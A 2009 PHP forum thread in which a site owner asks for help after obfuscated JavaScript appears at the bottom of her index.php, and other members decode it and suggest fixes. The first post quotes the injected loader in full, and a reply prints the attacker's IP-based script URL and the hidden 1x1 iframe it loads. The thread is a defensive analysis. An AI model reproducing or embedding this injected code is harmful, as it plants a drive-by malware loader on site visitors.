TalkPHP
 
 
Account Login
Latest Articles
» The basic usage of PHPTAL, a XML/XHTML template library for PHP
» Vulnerable methods and the areas they are commonly trusted in.
» Simple way to protect a form from bot
» The Basics On: How Session Stealing Works
» How to keep your forms from double posting data
IRC Channel
IRC Speech Bubble Join the friendly bunch on IRC...
(#TalkPHP on Freenode)

...Also available via a web interface.

See this thread for information on the TalkPHP Free Hugs Initiative™. Subject to availability.
Associates
Associates
CSS Tutorials
Reply
 
LinkBack Thread Tools Search this Thread Display Modes
Old 06-11-2009, 03:27 PM   #1 (permalink)
The Contributor
 
cecilia's Avatar
 
Join Date: May 2009
Location: LA, CA
Posts: 87
Thanks: 0
cecilia is on a distinguished road
Default Inserting into the index

I cant think of how it was done, somehow this code got inserted onto my index.php at the very bottom. Im thinking coz the page to login to the site is behind a password protected folder and theres no other textareas or text input boxes anywhere else. Does this mean the attacker somehow got a correct login and password combination?

I dont know why but all of this started happening since I used notepad++ to do my stuff, Ive always just did it directly from the cpanel. so Im starting to wonder if my computer got infected with something or... I dont know.

I mean im acknowledging that there might have been an input box or something that I missed behind the login page but, you have to get in past it to access that right so...

thank you all for the input

javascript Code:
<?php echo '<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='
" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>



EDIT:

I just looked through the entire site, I applied stripslashes, strip_tags and mysql_real_escape_string on all of the user inputs that I missed.

Last edited by codefreek : 06-25-2009 at 04:54 PM. Reason: highlight added.
cecilia is offline  
Reply With Quote
Old 06-11-2009, 08:42 PM   #2 (permalink)
The Acquainted
 
Randy's Avatar
 
Join Date: May 2007
Location: Your G/F's Closet
Posts: 114
Thanks: 7
Randy is on a distinguished road
Default

When did you start to use notepad++? I have been having issues with it lately as well, It seems to be putting all my code onto one like php, css, html, etc.. It is quite frustrating.

I doubt that notepad++ might be your probably but perhaps look into another and find out? I recommend Programmers Notepad its quite nice while still being free.
__________________
Real Programmers always confuse Christmas and Halloween because Oct31 == Dec25 - Andrew Rutherford
Send a message via AIM to Randy Send a message via MSN to Randy
Randy is offline  
Reply With Quote
Old 06-11-2009, 11:36 PM   #3 (permalink)
The Contributor
 
cecilia's Avatar
 
Join Date: May 2009
Location: LA, CA
Posts: 87
Thanks: 0
cecilia is on a distinguished road
Default

sorry double post
cecilia is offline  
Reply With Quote
Old 06-11-2009, 11:38 PM   #4 (permalink)
The Contributor
 
cecilia's Avatar
 
Join Date: May 2009
Location: LA, CA
Posts: 87
Thanks: 0
cecilia is on a distinguished road
Default

Im just reaching at the moment, I dont think its notepad++ specifically I just cant think of anything else at the moment. Anyway, like I said earlier Ive already cleaned every POST data in the entire site, even ones that users dont actually input since I read you can modify post data with some addon in firefox.

I already tried using different sql injections with the single quote and its doing ok. <script> inserts dont work too.

As for when I used notepad, its been a month already. I actually like using it it does work for me seriously. It just fails uploads sometimes and when it does it leaves the original file youre editing as blank.
cecilia is offline  
Reply With Quote
Old 06-11-2009, 11:39 PM   #5 (permalink)
La Vida es Sueño
Advanced Programmer Top Contributor 
 
Wildhoney's Avatar
 
Join Date: Sep 2007
Location: Oldham
Posts: 2,280
Thanks: 90
Wildhoney is on a distinguished road
Default

Was that code actually embedded in a physical file? As in, it wasn't pulled from the database, or elesewhere such as that. To actually write to the file would require a different type of attack than a simple submit via a form.
__________________
The man who comes back through the Door in the Wall will never be quite the same as the man who went out.
Send a message via AIM to Wildhoney Send a message via MSN to Wildhoney Send a message via Yahoo to Wildhoney
Wildhoney is offline  
Reply With Quote
Old 06-11-2009, 11:40 PM   #6 (permalink)
The Contributor
 
cecilia's Avatar
 
Join Date: May 2009
Location: LA, CA
Posts: 87
Thanks: 0
cecilia is on a distinguished road
Default

Wildhoney, yeah. That code that I posted, I found it at the very bottom of the index.php. Its actually there its not like fetched from another location.

Ill just say it, Im not really that familiar with any other kind of attacks other than the sql thing.

Also, its a shared server at Lunarpages.

EDIT:

The same thing happened a week ago. But the coding was slightly different, I wasnt able to save a copy of it. But all i remember was what it does. It embeds an iframe that sorta runs a javascript function at another site. All of this was constructed using javascript letter by letter almost. I found out about it when I went to index page and the antivirus detected it. I unescaped the injected code and checked the domain on where it points to and its some company in asia, singapore I think, I cant rememeber. And it was on the same location, at the very end of the index.php

Last edited by cecilia : 06-12-2009 at 12:02 AM.
cecilia is offline  
Reply With Quote
Old 06-12-2009, 12:07 AM   #7 (permalink)
The Contributor
 
Runar's Avatar
 
Join Date: Nov 2008
Location: Norway
Posts: 58
Thanks: 20
Runar is on a distinguished road
Default

I did some research, and apparently the JavaScript code is requesting a JavaScript-file from an Ukrainian-registered server. Most of the code is a Google Analytics-code, used to track visitors on your site.

Most of the code is perfectly safe. It is the following part I am worried about:

Code:
'#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '')
I will try to figure out what it means, while you secure your scripts (and preferably move your site to a safer shared server).
Send a message via MSN to Runar
Runar is offline  
Reply With Quote
Old 06-12-2009, 12:08 AM   #8 (permalink)
The Acquainted
 
Randy's Avatar
 
Join Date: May 2007
Location: Your G/F's Closet
Posts: 114
Thanks: 7
Randy is on a distinguished road
Default

EDIT: i basically said same thing as runar, its just google analytics code and the other part I do not know if you can give me the server name you are on from lunarpages i will look into it as I am a jr. server admin.
__________________
Real Programmers always confuse Christmas and Halloween because Oct31 == Dec25 - Andrew Rutherford
Send a message via AIM to Randy Send a message via MSN to Randy
Randy is offline  
Reply With Quote
Old 06-12-2009, 12:14 AM   #9 (permalink)
The Contributor
 
cecilia's Avatar
 
Join Date: May 2009
Location: LA, CA
Posts: 87
Thanks: 0
cecilia is on a distinguished road
Default

Yeah Ill still look around the site if theres jsut anything that I missed and change all of the passwords for everything too I guess. Im out of ideas at the moment and maybe ill consider moving it. I know, people have been saying it should be on a dedicated but I dont have that much money to spare every month. If I did I would have.

Thank you all for the reply and the help.

EDIT

What Im thinking of is it may be jsut a harmless thing, but the fact that they can write to a file and as php its... Ill observe and check it everyday from now on. What im worried about is also waht wildhoney said, that it may not be form related at all and its something that I cant control or do anything about.
cecilia is offline  
Reply With Quote
Old 06-12-2009, 12:25 AM   #10 (permalink)
The Acquainted
 
Randy's Avatar
 
Join Date: May 2007
Location: Your G/F's Closet
Posts: 114
Thanks: 7
Randy is on a distinguished road
Default

If you want another host you are more then welcome to let me know as I am also the owner of a new shared/reseller hosting company and I can provide you with great support, I also have a staff member who lives within the UK who will be able to help when I am not but seeing as how you are in LA i will most likely be helping you as that Is where I am myself. My server is not hosted by lunarpages i work there to afford my other server.
__________________
Real Programmers always confuse Christmas and Halloween because Oct31 == Dec25 - Andrew Rutherford
Send a message via AIM to Randy Send a message via MSN to Randy
Randy is offline  
Reply With Quote
Old 06-12-2009, 12:28 AM   #11 (permalink)
The Contributor
 
Runar's Avatar
 
Join Date: Nov 2008
Location: Norway
Posts: 58
Thanks: 20
Runar is on a distinguished road
Default

I "cracked" the code. The solution itself was in the code, and this is the site it redirects to:

http://91.212.65.148/ga.js

I visited that link, and ended up with another javascript-snippet. I "cracked" that one and ended up with an iframe:

HTML Code:
<iframe src="http://91.212.65.148//image/index.php" width=1 height=1></iframe>
The site is apparently reported as an attack site so Firefox warns me about visiting it. It has "hosted malicious software over the past 90 days. It infected 509 domain(s)" according to Google.

Some additional information: Malicious software includes 126 trojan(s), 36 scripting exploit(s), 13 exploit(s).
Send a message via MSN to Runar
Runar is offline  
Reply With Quote
The Following User Says Thank You to Runar For This Useful Post:
Randy (06-12-2009)
Old 06-12-2009, 12:33 AM   #12 (permalink)
The Acquainted
 
Randy's Avatar
 
Join Date: May 2007
Location: Your G/F's Closet
Posts: 114
Thanks: 7
Randy is on a distinguished road
Default

Cheers Runar, thanks for passing that along :D
__________________
Real Programmers always confuse Christmas and Halloween because Oct31 == Dec25 - Andrew Rutherford
Send a message via AIM to Randy Send a message via MSN to Randy
Randy is offline  
Reply With Quote
Old 06-12-2009, 12:42 AM   #13 (permalink)
The Contributor
 
Runar's Avatar
 
Join Date: Nov 2008
Location: Norway
Posts: 58
Thanks: 20
Runar is on a distinguished road
Default

You are most welcome!

I am glad I could help, and I hope you succeed in closing the (security) hole that made this possible :)
Send a message via MSN to Runar
Runar is offline  
Reply With Quote
Old 06-12-2009, 12:50 AM   #14 (permalink)
The Acquainted
 
Randy's Avatar
 
Join Date: May 2007
Location: Your G/F's Closet
Posts: 114
Thanks: 7
Randy is on a distinguished road
Default

It is possible that it is our end but it may be a security leak in his script so I am going to look into it and I will figure out what is going on.
__________________
Real Programmers always confuse Christmas and Halloween because Oct31 == Dec25 - Andrew Rutherford
Send a message via AIM to Randy Send a message via MSN to Randy
Randy is offline  
Reply With Quote
Old 06-12-2009, 01:04 AM   #15 (permalink)
La Vida es Sueño
Advanced Programmer Top Contributor 
 
Wildhoney's Avatar
 
Join Date: Sep 2007
Location: Oldham
Posts: 2,280
Thanks: 90
Wildhoney is on a distinguished road
Default

It would be unlikely for a hacker to have targeted your website specifically, I think. Mostly they will write a script that targets popular web software, such as vBulletin on TalkPHP. This allows them to exploit as many websites as possible, with the least research as possible. It could be that Lunarpages has a security issue regarding one of two of its scripts. I have a Lunarpages account for one of my websites, and I know they do send out automatic emails notifying you of any vulnerable scripts, so they are quite security conscious, it would appear.

The good news, I suppose, is that it's not so much a security hole in your application, but rather Lunarpages. Try contacting Lunarpages and tell them what happened. Hopefully they'll be able to advise.

Runar, in those handful of websites, did you check where they were hosted? If they were all hosted at Lunarpages, then we could narrow the problem down further. Otherwise it may well be that somebody has targeted your website specifically.
__________________
The man who comes back through the Door in the Wall will never be quite the same as the man who went out.
Send a message via AIM to Wildhoney Send a message via MSN to Wildhoney Send a message via Yahoo to Wildhoney
Wildhoney is offline  
Reply With Quote
Old 06-12-2009, 01:27 AM   #16 (permalink)
The Acquainted
 
Randy's Avatar
 
Join Date: May 2007
Location: Your G/F's Closet
Posts: 114
Thanks: 7
Randy is on a distinguished road
Default

Wildhoney that IP is not a lunarpages IP i have checked the list and then looked it up it is a Ukraine based server/ip address, however it is looking like a neighborhood (home) ip address. I have lunarpages staff checking the servers now as I am unable to due to me being off duty and unable to access the servers. Staff will inform all clients on the server if there is a security issue and it will be fixed.
__________________
Real Programmers always confuse Christmas and Halloween because Oct31 == Dec25 - Andrew Rutherford
Send a message via AIM to Randy Send a message via MSN to Randy
Randy is offline  
Reply With Quote
Old 06-12-2009, 01:32 AM   #17 (permalink)
La Vida es Sueño
Advanced Programmer Top Contributor 
 
Wildhoney's Avatar
 
Join Date: Sep 2007
Location: Oldham
Posts: 2,280
Thanks: 90
Wildhoney is on a distinguished road
Default

I mean the websites that were targetted. Were they all hosted on Lunarpages?
__________________
The man who comes back through the Door in the Wall will never be quite the same as the man who went out.
Send a message via AIM to Wildhoney Send a message via MSN to Wildhoney Send a message via Yahoo to Wildhoney
Wildhoney is offline  
Reply With Quote
Old 06-12-2009, 01:59 AM   #18 (permalink)
The Acquainted
 
Randy's Avatar
 
Join Date: May 2007
Location: Your G/F's Closet
Posts: 114
Thanks: 7
Randy is on a distinguished road
Default

Ah, that I don't know, I tried to find it but couldn't so we will have to wait for runar.
__________________
Real Programmers always confuse Christmas and Halloween because Oct31 == Dec25 - Andrew Rutherford
Send a message via AIM to Randy Send a message via MSN to Randy
Randy is offline  
Reply With Quote
Old 06-12-2009, 05:21 AM   #19 (permalink)
The Contributor
 
cecilia's Avatar
 
Join Date: May 2009
Location: LA, CA
Posts: 87
Thanks: 0
cecilia is on a distinguished road
Default

Just real quick, i found something that sounds just like my case, this is a response to him. I dont know who the web host is, just found it using yahoo search

Quote:
Hello Gary,

Your website hosting has been injected with some iframe code so download your index page and remove the iframe injection and re upload. Your website hosting is not loading on my end as it times out after some time so I will let you know the exact code of injection once the website hosting loads.

you need to request your web hosting company to upgrade kernel on your server and improve security of the server to block such injections. We had similar problem on 2 of our servers but that was due to failure of kernel upgrade on those servers and we finally managed to upgrade kernel on those servers after some deep research on the hardware configuration we had for those 2 servers.

As of now you can remove the injection from you end but if the kernel is not upgraded soon then the injection will occur again.
Somehow I agree, I dont think the hacker really targettd me, from what I heard these type of things are automated. Anyway I think ive almost done what I can at the site, even removed old unused files, not that i think that even makes a difference.

If it will happen again Ill try something different, I mean it does attack just the index always.. maybe get around the file somehow. too tired ot think.

Thanks again everyone

E

So the source of the problem isnt some other website hosted on the same server as me right and theyre connecting from Ukraine.

I know this is a horrible thing, I mean for gods sake I am being victimized by it but still you have to admit that its really interesting how theyre doing it; good skills but evil intentions huh.
cecilia is offline  
Reply With Quote
Old 06-12-2009, 08:17 AM   #20 (permalink)
The Contributor
 
Runar's Avatar
 
Join Date: Nov 2008
Location: Norway
Posts: 58
Thanks: 20
Runar is on a distinguished road
Default

Have you written your site yourself, or do you use existing software such as WordPress? If you do use other software, then I suggest you upgrade to newest version available.

Do you have any sort of logging yourself, or it possible with Lunarpages, to log all activity on your site?

Wildhoney: The ones I found apart from this one? None said anything about Lunarpages, so I guess not.
Send a message via MSN to Runar
Runar is offline  
Reply With Quote
Reply



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Similar Threads
Thread Thread Starter Forum Replies Last Post
the index File. hello-world Absolute Beginners 1 03-18-2009 02:45 AM
inserting multiple checkbox selections on one row sarmenhb Absolute Beginners 3 01-10-2009 07:32 PM
Inserting New Row With ASP.NET? StevenF MySQL & Databases 7 12-08-2008 12:21 AM
PHP & MySQL Inserting multiple entires from range. Acrylic Absolute Beginners 3 10-02-2008 02:27 AM


All times are GMT. The time now is 07:05 AM.

 
     

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.1.0
Inactive Reminders By Icora Web Design